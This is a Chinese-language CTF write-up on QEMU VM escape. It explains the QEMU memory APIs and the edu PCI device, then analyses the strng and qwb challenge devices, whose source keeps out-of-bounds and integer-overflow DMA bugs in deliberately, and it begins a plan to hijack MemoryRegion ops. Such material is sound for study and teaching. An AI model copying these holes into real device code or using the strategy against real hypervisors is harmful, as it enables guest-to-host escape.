const void *buf, dma_addr_t len, MemTxAttrs attrs);

对于这种形式的 API,返回值:

  • **MEMTX_OK**:成功。

  • 其他(MEMTX_ERROR / MEMTX_DECODE_ERROR / MEMTX_ACCESS_FAILED 等,名称因分支略有差异):失败。

    • 含义粗略理解即可:

      • DECODE_ERROR:地址解码失败/未映射;
      • ACCESS_FAILED:权限/IOMMU/设备拒绝;
      • ERROR:其它错误。
  • 判错策略:把“非 MEMTX_OK”都当失败处理即可。

cpu_physical_memory_*

cpu_physical_memory_* 是 QEMU 的“上帝视角”直接访问来宾“系统物理内存地址空间”system_memory)的工具函数。

  • 它们不经过 IOMMU不做设备权限检查、也不触发设备的 MMIO 回调
  • 典型用途:monitor/调试/固件加载/快照工具等“宿主侧主动”对 Guest 物理内存做读写。
  • 不要用它们在设备模型里模拟 DMA/寄存器访问(会偏离真实硬件路径)。
1
2
3
4
5
6
void cpu_physical_memory_read(hwaddr addr, void *buf, size_t len);
void cpu_physical_memory_write(hwaddr addr, const void *buf, size_t len);
void cpu_physical_memory_rw(hwaddr addr, void *buf, size_t len, int is_write);

void *cpu_physical_memory_map(hwaddr addr, hwaddr *plen, int is_write);
void cpu_physical_memory_unmap(void *host_ptr, hwaddr len, int is_write, hwaddr access_len);

参数说明

  • addr: hwaddr 目标来宾物理地址(system_memory 的物理地址,不是 IOVA,不是虚拟地址)。
  • buf: void* / const void* 主机侧缓冲区指针。read/rw(is_write=0)输出缓冲,write/rw(is_write=1)输入缓冲。
  • len: size_t 读/写的字节数。可以很大,函数内部会自动跨页/跨 region 逐段处理。
  • is_write: int(仅 rw0=读,非 0=写。

返回/错误行为

  • 这些函数没有返回值,不会把错误以返回码形式告诉你。

  • 当访问到未映射/被拒绝的区域时,不同版本/路径一般会:

    • :把对应字节视作 0(复制 0 到 buf 的那段);
    • 丢弃那部分写入(相当于没写成功)。
  • 因此用于调试/加载没问题,但 不要拿它判断“访问是否真的成功”,也不要用来模拟设备行为。

QEMU 设备分析

PCI 设备

设备实例定义

首先是设备的 State 结构体,该结构体即设备的 Object 中自身的部分,包含了设备自身定义的全部相关结构。关于设备的操作都是围绕这个结构体展开的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define TYPE_PCI_EDU_DEVICE "edu"
#define EDU(obj) OBJECT_CHECK(EduState, obj, TYPE_PCI_EDU_DEVICE)

#define FACT_IRQ 0x00000001
#define DMA_IRQ 0x00000100

#define DMA_START 0x40000
#define DMA_SIZE 4096

typedef struct {
PCIDevice pdev;
MemoryRegion mmio;

QemuThread thread;
QemuMutex thr_mutex;
QemuCond thr_cond;
bool stopping;

uint32_t addr4;
uint32_t fact;
#define EDU_STATUS_COMPUTING 0x01
#define EDU_STATUS_IRQFACT 0x80
uint32_t status;

uint32_t irq_status;

#define EDU_DMA_RUN 0x1
#define EDU_DMA_DIR(cmd) (((cmd) & 0x2) >> 1)
# define EDU_DMA_FROM_PCI 0
# define EDU_DMA_TO_PCI 1
#define EDU_DMA_IRQ 0x4
struct dma_state {
dma_addr_t src;
dma_addr_t dst;
dma_addr_t cnt;
dma_addr_t cmd;
} dma;
QEMUTimer dma_timer;
char dma_buf[DMA_SIZE];
uint64_t dma_mask;
} EduState;

设备类型定义

其次是设备的 TypeInfo ,重点关注其中的 instance_initclass_init等初始化函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void pci_edu_register_types(void)
{
static InterfaceInfo interfaces[] = {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
};
static const TypeInfo edu_info = {
.name = TYPE_PCI_EDU_DEVICE,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(EduState),
.instance_init = edu_instance_init,
.class_init = edu_class_init,
.interfaces = interfaces,
};

type_register_static(&edu_info);
}
type_init(pci_edu_register_types)
  • instance_size 告诉 QOM:创建这个对象时需要分配多大的一块内存(也就是 EduState 的大小)。
  • class_init类级别设置默认回调(例如把 PCIDeviceClass::realize 指到 pci_edu_realize)。
  • instance_init实例级别设字段默认值、注册 QOM 属性等(必须不失败)。

当你在命令行 -device edu 或在代码里新增这个设备时,QEMU 会:

  1. 分配一块大小为 sizeof(EduState) 的零清内存;
  2. 构造父类子对象(因为 EduState 的第一个成员是 PCIDevice pdev;,这就是“内嵌继承”);
  3. 调用 edu_instance_init() 给实例字段设缺省值、注册属性(如 dma_mask)。

设备初始化操作

从设备的 class_initinstance_init 等初始化函数中我们可以获取到设备的相关信息。其中 realizeexit 函数定义了一部分 Object 初始化和销毁操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void edu_instance_init(Object *obj)
{
EduState *edu = EDU(obj);

edu->dma_mask = (1UL << 28) - 1;
object_property_add_uint64_ptr(obj, "dma_mask",
&edu->dma_mask, OBJ_PROP_FLAG_READWRITE,
NULL);
}

static void edu_class_init(ObjectClass *class, void *data)
{
DeviceClass *dc = DEVICE_CLASS(class);
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

k->realize = pci_edu_realize;
k->exit = pci_edu_uninit;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e8;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

realizeexit 函数定义的是对象初始化和销毁中可能会失败的操作。

  • class_init(类初始化,ObjectClass 级):设定类的默认虚函数/回调(比如把 DeviceClass::realize 指向你的实现),不触碰实例数据。对象尚未出现。
    • 设定/覆盖虚函数:dc->realizedc->unrealizedescuser_creatable 等。
    • 静态属性数组(device_class_set_props()DeviceClass.props_)。
  • instance_init(实例初始化,Object 实例级,必须不失败):新建对象后,给实例字段设默认值、创建子对象的“壳”(object_initialize)、注册 QOM 属性等;不能失败。此时把设备接到总线,也占用全局资源。
    • 设实例缺省值;
    • object_property_add*() 注册 QOM 属性(这样 --device xyz,help/device-list-properties 才看得到/可设置);
    • 通过 object_initialize() 创建子对象的壳(注意:不是在这里 realize 子对象)。
  • realize(实现,可以失败):把实例接入系统:校验用户已设置的属性、在总线上登记、映射 BAR/MMIO、连 IRQ、申请可能失败的资源;可以失败,需通过 errp 报错。可选的 unrealize 负责撤销。
    • 依据属性做校验;
    • 接总线、分配并注册 BAR/MMIO/PIO、连 IRQ、把子对象逐个 realize
    • 申请任何可能失败的外部资源;必要时通过 Error **errp 返回错误。

设备内存的注册多出现在 realize 函数中,例如 edu 中的 memory_region_init_iopci_register_bar 注册了一块 MMIO 类型的内存。我们需要重点关注 MemoryRegionOps 结构体 edu_mmio_ops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static void pci_edu_realize(PCIDevice *pdev, Error **errp)
{
EduState *edu = EDU(pdev);
uint8_t *pci_conf = pdev->config;

pci_config_set_interrupt_pin(pci_conf, 1);

if (msi_init(pdev, 0, 1, true, false, errp)) {
return;
}

timer_init_ms(&edu->dma_timer, QEMU_CLOCK_VIRTUAL, edu_dma_timer, edu);

qemu_mutex_init(&edu->thr_mutex);
qemu_cond_init(&edu->thr_cond);
qemu_thread_create(&edu->thread, "edu", edu_fact_thread,
edu, QEMU_THREAD_JOINABLE);

memory_region_init_io(&edu->mmio, OBJECT(edu), &edu_mmio_ops, edu,
"edu-mmio", 1 * MiB);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &edu->mmio);
}

static void pci_edu_uninit(PCIDevice *pdev)
{
EduState *edu = EDU(pdev);

qemu_mutex_lock(&edu->thr_mutex);
edu->stopping = true;
qemu_mutex_unlock(&edu->thr_mutex);
qemu_cond_signal(&edu->thr_cond);
qemu_thread_join(&edu->thread);

qemu_cond_destroy(&edu->thr_cond);
qemu_mutex_destroy(&edu->thr_mutex);

timer_del(&edu->dma_timer);
msi_uninit(pdev);
}

edu_mmio_ops 结构体定义如下,可以看到 edu 设备自定义的读写函数 edu_mmio_readedu_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static const MemoryRegionOps edu_mmio_ops = {
.read = edu_mmio_read,
.write = edu_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
.valid = {
.min_access_size = 4,
.max_access_size = 8,
},
.impl = {
.min_access_size = 4,
.max_access_size = 8,
},

};

HXB2019-pwn2

环境搭建

缺少 libiscsi.so.2,需要编译相关依赖:

1
2
3
4
5
6
7
8
9
sudo apt update
sudo apt install -y autoconf automake libtool pkg-config gettext \
make gcc g++

git clone https://github.com/sahlberg/libiscsi.git
cd libiscsi
./autogen.sh
./configure
make

将编译好的 libiscsi.so.11.0.2 替换上去即可。

1
patchelf --replace-needed  libiscsi.so.2 ./libiscsi.so.11.0.2 qemu-system-x86_64

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
/* hw/misc/strng.c - logically equivalent to the decompiled code, with symbols restored */
#include "qemu/osdep.h"
#include "qemu/timer.h"
#include "qemu/module.h"
#include "qom/object.h"
#include "hw/pci/pci.h"
#include "exec/memory.h"
#include <stdlib.h>

#define TYPE_STRNG "strng"
#define STRNG(obj) OBJECT_CHECK(STRNGState, (obj), TYPE_STRNG)

/* Device state */
typedef struct STRNGState {
/* QOM/PCI base */
PCIDevice pdev;

/* Regions */
MemoryRegion mmio; /* size 0x100 */
MemoryRegion pmio; /* size 0x8 */

/* Registers and state (layout/semantics match the decompiled code) */
uint32_t addr; /* PMIO "indirect address" register */
uint32_t flag;
uint32_t regs[64];

/* Timer immediately after regs in the original layout */
QEMUTimer strng_timer;
} STRNGState;

/* --- Forward decls --- */
static void strng_instance_init(Object *obj);
static void strng_class_init(ObjectClass *oc, void *data);
static void strng_timer(void *opaque);
static void pci_strng_uninit(PCIDevice *pdev);
static void pci_strng_realize(PCIDevice *pdev, Error **errp);

static uint64_t strng_mmio_read(void *opaque, hwaddr addr, unsigned size);
static void strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size);
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size);
static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size);

/* --- MMIO / PMIO ops --- */
static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};

static const MemoryRegionOps strng_pmio_ops = {
.read = strng_pmio_read,
.write = strng_pmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};

/* --- Timer callback (keeps exact semantics) --- */
static void strng_timer(void *opaque)
{
STRNGState *s = opaque;
s->flag = 0;
}

/* --- PMIO: 8 bytes: [0]=addr, [4]=data (indirect) --- */
static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *s = opaque;

if (size == 4) {
if (addr == 0) {
/* Set indirect address register; no bounds check, preserves bug */
s->addr = (uint32_t)val;
} else if (addr == 4) {
/* Data port: requires indirect addr 4-byte aligned */
if ((s->addr & 3) == 0) {
uint32_t index = s->addr >> 2;

if (index == 1) {
s->regs[1] = rand();
} else if (index != 0) {
if (index == 3) {
s->regs[3] = rand_r(&s->regs[2]);
} else {
/* OOB write preserved: no check that index < 64 */
s->regs[index] = (uint32_t)val;

if (s->flag) {
int64_t now = qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL);
timer_mod(&s->strng_timer, now + 100);
}
}
} else {
/* index == 0 */
srand((unsigned)val);
}
}
} else {
/* any other PMIO addr: do nothing (as in the decompiled code) */
}
} else {
/* sizes other than 4 are ignored for writes */
}
}

static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *s = opaque;

if (size != 4) {
return (uint64_t)-1;
}

if (addr == 0) {
/* Read back indirect address register */
return s->addr;
}

if (addr == 4) {
/* Data port read: requires 4-byte aligned indirect address */
if ((s->addr & 3) != 0) {
return (uint64_t)-1;
}
/* OOB read preserved: no check that (s->addr>>2) < 64 */
return s->regs[s->addr >> 2];
}

return (uint64_t)-1;
}

/* --- MMIO: 0x100 bytes, direct indexed by offset/4 --- */
static void strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *s = opaque;
uint32_t seed = (uint32_t)val;

if (size == 4 && ((addr & 3) == 0)) {
uint32_t index = addr >> 2;

if (index == 1) {
s->regs[1] = rand();
} else if (index != 0) {
if (index == 3) {
s->regs[3] = rand_r(&s->regs[2]);
}
s->flag = 1;
/* direct write (within MMIO region size, so index in [0..63]) */
s->regs[index] = seed;
} else {
/* index == 0 */
srand((unsigned)val);
}
} else {
/* invalid size or unaligned: ignored */
}
}

static uint64_t strng_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *s = opaque;

if (size == 4 && ((addr & 3) == 0)) {
/* region is 0x100, so addr>>2 in [0..63] when called by QEMU core */
return s->regs[addr >> 2];
}
return (uint64_t)-1;
}

/* --- PCI realize/uninit --- */
static void pci_strng_uninit(PCIDevice *pdev)
{
STRNGState *s = STRNG(pdev);
timer_del(&s->strng_timer);
}

static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *s = STRNG(pdev);

/* timer: QEMU virtual clock, cb=strng_timer, opaque=s */
timer_init_ms(&s->strng_timer, QEMU_CLOCK_VIRTUAL, strng_timer, s);

/* MMIO BAR0: 0x100 bytes */
memory_region_init_io(&s->mmio, OBJECT(pdev), &strng_mmio_ops, s,
"strng-mmio", 0x100);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->mmio);

/* PMIO BAR1: 8 bytes */
memory_region_init_io(&s->pmio, OBJECT(pdev), &strng_pmio_ops, s,
"strng-pmio", 8);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &s->pmio);
}

/* --- QOM init/class init --- */
static void strng_instance_init(Object *obj)
{
STRNGState *s = STRNG(obj);
/* exactly as in the decompiled code: only flag is explicitly zeroed here */
s->flag = 0;
}

static void strng_class_init(ObjectClass *oc, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(oc);

k->realize = pci_strng_realize;
k->exit = pci_strng_uninit;
k->vendor_id = 0x1234;
k->device_id = 0x11E9;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS; /* 0xFF */
}

/* --- Type registration --- */
static const TypeInfo strng_info = {
.name = TYPE_STRNG,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
};

static void pci_strng_register_types(void)
{
type_register_static(&strng_info);
}

type_init(pci_strng_register_types)

设备读写函数分析如下:

  • strng_mmio_read 函数:
    • 如果 addr 非 4 的倍数或者读的非四字节则返回 -1 。
    • 否则返回 regs[addr>>2] 。这里缺少对 regs 的边界检测,存在越界读。
  • strng_mmio_write 函数:
    addr 必须是 4 的倍数
    • addr == 4regs[1] = rand()
    • addr == 0 || addr == 8srand(val)
    • addr == 12regs[3] = rand_r(&opaque->regs[2])
    • 其他情况:flag = 1; regs[addr>>2] = val ,存在越界写。
  • strng_pmio_read 函数:
    • 如果 size 不为 4 则返回 -1
    • 如果 addr 为 0 则返回 0
    • 如果 addr 为 4 且 opaque->addr 为 4 的倍数则返回 opaque->regs[opaque->addr >> 2]
  • strng_pmio_write 函数:
    • 如果 addr == 0opaque->addr = val
    • 如果 addr 非零则 addr 必须为 4:
      opaque->addr 必须是 4 的倍数:
      • opaque->addr == 4regs[1] = rand()
      • opaque->addr == 0 || opaque->addr == 8srand(val)
      • opaque->addr == 12opaque->regs[3] = rand_r(&opaque->regs[2])
      • 其他情况:regs[opaque->addr >> 2] = val,如果 opaque->flag 非零:有一个
        关于 timer 的奇怪函数调用,稍后再分析。

漏洞利用

pwndbg> bt
#0  timer_init_tl (ts=0x7fffffffd6a0, timer_list=0x5555558b107c <pci_set_word+36>, scale=32767, cb=0x555558d0f3a6, opaque=0xf90058d0f294) at /home/w0lfzhang/Desktop/qemu-2.8.1.1/qemu-timer.c:336
#1  0x000055555569ac4f in timer_init (ts=0x555558d0e468, type=QEMU_CLOCK_VIRTUAL, scale=1000000, cb=0x55555569ac8e <strng_timer>, opaque=0x555558d0d870) at /home/w0lfzhang/Desktop/qemu-2.8.1.1/include/qemu/timer.h:442
#2  0x000055555569ac8b in timer_init_ms (ts=0x555558d0e468, type=QEMU_CLOCK_VIRTUAL, cb=0x55555569ac8e <strng_timer>, opaque=0x555558d0d870) at /home/w0lfzhang/Desktop/qemu-2.8.1.1/include/qemu/timer.h:499
#3  0x000055555569afe2 in pci_strng_realize (pdev=0x555558d0d870, errp=0x7fffffffd708) at /home/w0lfzhang/Desktop/qemu-2.8.1.1/hw/misc/strng.c:148

RWCTF2021 Easy_escape

2021qwb-EzQtest

环境搭建

先打开 universe 源并刷新索引:

1
2
3
4
5
6
7
8
9
10
sudo add-apt-repository universe -y
sudo apt-get update

sudo apt-get install -y \
xen-hypervisor-4.11-amd64 xen-utils-4.11 \
libxenstore3.0 libxentoolcore1 libxencall1 libxenmisc4.11 \
libxenforeignmemory1 libxengnttab1 libxenevtchn1 libxendevicemodel1

sudo apt-get install -y \
libsnappy1v5 libfdt1 vde2 libiscsi7 librbd1 librados2 libaio1

然后 launch.shqtest 测试机模式启动 QEMU:

1
2
3
4
5
6
7
8
./qemu-system-x86_64 \
-display none \ # 不创建图形窗口(无 VGA/SDL/VNC)
-machine accel=qtest \ # 使用 qtest 加速器:不运行CPU指令,只暴露设备+内存给qtest
-m 512M \ # 分配 512 MiB 来宾物理内存(0x00000000 ~ 0x1FFFFFFF)
-device qwb \ # 挂载你的 PCI 设备“qwb”(qwb 的 realize 里注册了 BAR0)
-nodefaults \ # 不加载默认外设(网卡、声卡、VGA、串口等都不自动加)
-monitor none \ # 关闭 QEMU HMP 监控台(不会出现 "qemu>")
-qtest stdio # qtest 控制通道绑到标准输入/输出(行文本协议)

-machine accel=qtest -qtest stdio = qtest 测试机模式

  • 不启动 CPU/固件/OS;QEMU只把设备模型(比如你的 qwb)挂起来。

  • 标准输入/输出被用作 qtest 文本协议通道。

  • 你可以发送命令去访问 guest 物理内存与 I/O 端口,以及访问 MMIO

    • 物理内存:readb/readw/readl/readqwrite* <phys_addr> [val]
    • I/O 端口:inb/inw/inloutb/outw/outl <port> [val]

漏洞分析

首先题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
// hw/misc/qwb.c
#include "qemu/osdep.h"
#include "qapi/error.h"
#include "hw/pci/pci.h"
#include "hw/pci/pci_regs.h"
#include "hw/mem/pc-dimm.h"
#include "hw/qdev-properties.h"
#include "exec/memory.h"
#include "hw/irq.h"
#include "hw/qdev-clock.h"
#include "hw/qdev-core.h"
#include "qemu/typedefs.h"

#define TYPE_QWB "qwb"
OBJECT_DECLARE_SIMPLE_TYPE(QWBState, QWB)

typedef uint64_t dma_addr_t;

typedef struct dma_state {
dma_addr_t src;
dma_addr_t dst;
dma_addr_t cnt;
dma_addr_t cmd; // only LSB used
} dma_state;

typedef struct QWBState {
PCIDevice pdev; // 0x000 ~ 0x8ff
MemoryRegion mmio; // 0x900 ~ 0x9ef
uint32_t dma_info_size; // 0x9f0
uint32_t dma_info_idx; // 0x9f4
uint32_t dma_using; // 0x9f8
uint32_t _pad; // 0x9fc
dma_state dma_info[32]; // 0xa00 ~ 0xdff
uint8_t dma_buf[0x1000]; // 0xe00 ~ 0x1dff
} QWBState;

static uint64_t qwb_mmio_read(void *opaque, hwaddr addr, unsigned size);
static void qwb_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size);

static const MemoryRegionOps qwb_mmio_ops = {
.read = qwb_mmio_read,
.write = qwb_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
.valid = {
.min_access_size = 4,
.max_access_size = 8,
.unaligned = false,
},
.impl = {
.min_access_size = 4,
.max_access_size = 8,
.unaligned = false,
},
};

static void qwb_do_dma(QWBState *s)
{
size_t i;

s->dma_using = 1;

// 第一段:边界检查(只检查 dma_buf 的界限)
for (i = 0; i < s->dma_info_size; i++) {
dma_state *d = &s->dma_info[i];
if (d->cmd) { // device -> system
if (d->src + d->cnt > 0x1000 || d->cnt > 0x1000) {
goto end;
}
} else { // system -> device
if (d->dst + d->cnt > 0x1000 || d->cnt > 0x1000) {
goto end;
}
}
}

// 第二段:实际 DMA(漏洞点:期间可重入写 SIZE)
for (i = 0; i < s->dma_info_size; i++) {
dma_state *d = &s->dma_info[i];
if (d->cmd) { // write to system
pci_dma_write(&s->pdev, d->dst, &s->dma_buf[d->src], d->cnt);
} else { // read from system
pci_dma_read(&s->pdev, d->src, &s->dma_buf[d->dst], d->cnt);
}
}

end:
s->dma_using = 0;
}

static uint64_t qwb_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
QWBState *s = opaque;
uint64_t v = ~0ULL;

if (size != 8) return v;

switch (addr) {
case 0x00: v = s->dma_info_size; break;
case 0x08: if (!s->dma_using) v = s->dma_info_idx; break;
case 0x10: if (!s->dma_using && s->dma_info_idx <= 0x1F) v = s->dma_info[s->dma_info_idx].src; break;
case 0x18: if (!s->dma_using && s->dma_info_idx <= 0x1F) v = s->dma_info[s->dma_info_idx].dst; break;
case 0x20: if (!s->dma_using && s->dma_info_idx <= 0x1F) v = s->dma_info[s->dma_info_idx].cnt; break;
case 0x28: if (!s->dma_using && s->dma_info_idx <= 0x1F) v = s->dma_info[s->dma_info_idx].cmd; break;
case 0x30:
if (!s->dma_using) {
qwb_do_dma(s);
v = 1;
}
break;
default: break;
}
return v;
}

static void qwb_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
QWBState *s = opaque;
if (size != 8) return;

switch (addr) {
case 0x00:
if (val <= 0x20) s->dma_info_size = val; // ❌ 未检查 s->dma_using
break;
case 0x08:
if (!s->dma_using && val <= 0x1F) s->dma_info_idx = val;
break;
case 0x10:
if (!s->dma_using && s->dma_info_idx <= 0x1F) s->dma_info[s->dma_info_idx].src = val;
break;
case 0x18:
if (!s->dma_using && s->dma_info_idx <= 0x1F) s->dma_info[s->dma_info_idx].dst = val;
break;
case 0x20:
if (!s->dma_using && s->dma_info_idx <= 0x1F) s->dma_info[s->dma_info_idx].cnt = val;
break;
case 0x28:
if (!s->dma_using && s->dma_info_idx <= 0x1F) s->dma_info[s->dma_info_idx].cmd = (val & 1);
break;
default:
break;
}
}

static void qwb_instance_init(Object *obj)
{
QWBState *s = QWB(obj);
s->dma_info_size = 0;
s->dma_info_idx = 0;
s->dma_using = 0;
}

static void qwb_realize(PCIDevice *pdev, Error **errp)
{
QWBState *s = QWB(pdev);
memory_region_init_io(&s->mmio, OBJECT(pdev), &qwb_mmio_ops, s, "qwb-mmio", 0x100000);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->mmio);
}

static void qwb_uninit(PCIDevice *pdev)
{
QWBState *s = QWB(pdev);
s->dma_info_size = s->dma_info_idx = s->dma_using = 0;
}

static void qwb_class_init(ObjectClass *oc, void *data)
{
DeviceClass *dc = DEVICE_CLASS(oc);
PCIDeviceClass *k = PCI_DEVICE_CLASS(oc);
k->realize = qwb_realize;
k->exit = qwb_uninit;
k->vendor_id = 0x2021; // 8225
k->device_id = 0x0612; // 1554
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

static const TypeInfo qwb_info = {
.name = TYPE_QWB,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(QWBState),
.instance_init = qwb_instance_init,
.class_init = qwb_class_init,
};

static void qwb_register_types(void)
{
type_register_static(&qwb_info);
}

type_init(qwb_register_types)

这是一个简化的 DMA 控制器,挂在 PCI 上,暴露一个 1MiB 的 MMIO BAR。它内部有一块 4KB 的设备缓冲区 dma_buf,和最多 32 条 DMA 描述符 dma_info[32]。通过 MMIO 寄存器把描述符填好,再一次 BASE+0x30 就会调用 qwb_do_dma() 执行 DMA。

我们对 MMIO 读写的偏移对应着下面几种功能:

偏移 名称 访问 语义
0x00 SIZE R/W 队列长度(条目数),0..32写时未检查 dma_using(漏洞之一)。读返回当前长度。
0x08 IDX R/W 当前条目索引 0..31仅在 dma_using==0 时可写/可读;忙时读返回~0。
0x10 SRC R/W 针对 IDX 指向条目。读/写都要求 !(dma_using)IDX<=31(读里通过“拼字段”技巧实现)。
0x18 DST R/W 同上。
0x20 CNT R/W 同上。
0x28 CMD R/W 只使用 bit0:0=system→device1=device→system
0x30 START R 读触发。若 !dma_using,调用 qwb_do_dma() 执行前 SIZE 条,返回 1;否则返回 ~0。

也就是先用其他功能号设置必要的字段,然后再通过 0x30 偏移的读操作来触发 qwb_do_dma 函数进行实际的读写操作。

1
2
cmd == 1: pci_dma_write(&pdev, dst, &dma_buf[src], cnt); // device → system (写系统物理内存)
cmd == 0: pci_dma_read (&pdev, src, &dma_buf[dst], cnt); // system → device (读系统物理内存)
  • cmd==0(guest→device):从“来宾物理内存(guest RAM)”拷贝到设备内部 dma_buf[dst..dst+cnt);
  • cmd==1(device→guest):从设备内部 dma_buf[src..src+cnt) 拷贝到来宾物理内存dst)。

漏洞点位于 qwb_do_dma() 的第一段检查(只检查设备侧的 dma_buf 界限):

1
2
3
4
5
if (d->cmd) { // device -> system
if (d->src + d->cnt > 0x1000 || d->cnt > 0x1000) goto end;
} else { // system -> device
if (d->dst + d->cnt > 0x1000 || d->cnt > 0x1000) goto end;
}

这里的 d->src + d->cntd->dst + d->cnt 在 C 里是 无符号 64 位加法。若选择 cnt 为一个不大的值(<=0x1000 以避开第二个条件),但让 srcdst 接近 2^64,则加法会回绕到很小,从而通过 <=0x1000 的判断。

于是后续真实 DMA 阶段会把 &s->dma_buf[src]&s->dma_buf[dst] 当作宿主进程地址空间中的指针继续使用,形成:

  • cmd==1越界读宿主内存pci_dma_write(..., s->dma_buf + src, cnt) 以该指针为源);
  • cmd==0越界写宿主内存pci_dma_read(..., s->dma_buf + dst, cnt) 为目的)。

也就是说我们可以从 dma_buf 往前最多 0x1000 长度越界读写,最大读写长度是 0x1000,并且读写区间的末尾必须落到 dma_buf 范围。

漏洞利用

观察 dma_buf 所在的 QWBState 结构体:

1
2
3
4
5
6
7
8
9
10
typedef struct QWBState {
PCIDevice pdev; // 0x000 ~ 0x8ff
MemoryRegion mmio; // 0x900 ~ 0x9ef
uint32_t dma_info_size; // 0x9f0
uint32_t dma_info_idx; // 0x9f4
uint32_t dma_using; // 0x9f8
uint32_t _pad; // 0x9fc
dma_state dma_info[32]; // 0xa00 ~ 0xdff
uint8_t dma_buf[0x1000]; // 0xe00 ~ 0x1dff
} QWBState;

dma_buf 越界读写范围内有一个 MemoryRegion 结构体 mmio,这个结构体在 qwb_realize 注册 MMIO 内存的时候被初始化。

1
2
3
4
5
6
static void qwb_realize(PCIDevice *pdev, Error **errp)
{
QWBState *s = QWB(pdev);
memory_region_init_io(&s->mmio, OBJECT(pdev), &qwb_mmio_ops, s, "qwb-mmio", 0x100000);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->mmio);
}

MemoryRegion 结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct MemoryRegion {
Object parent_obj;

/* private: */

/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;

const MemoryRegionOps *ops; // 👈 劫持程序执行流
void *opaque; // 👈 泄露 QWBState 地址
MemoryRegion *container;
Int128 size;
hwaddr addr;
void (*destructor)(MemoryRegion *mr); // 👈 泄露 qemu 基地址
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias;
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
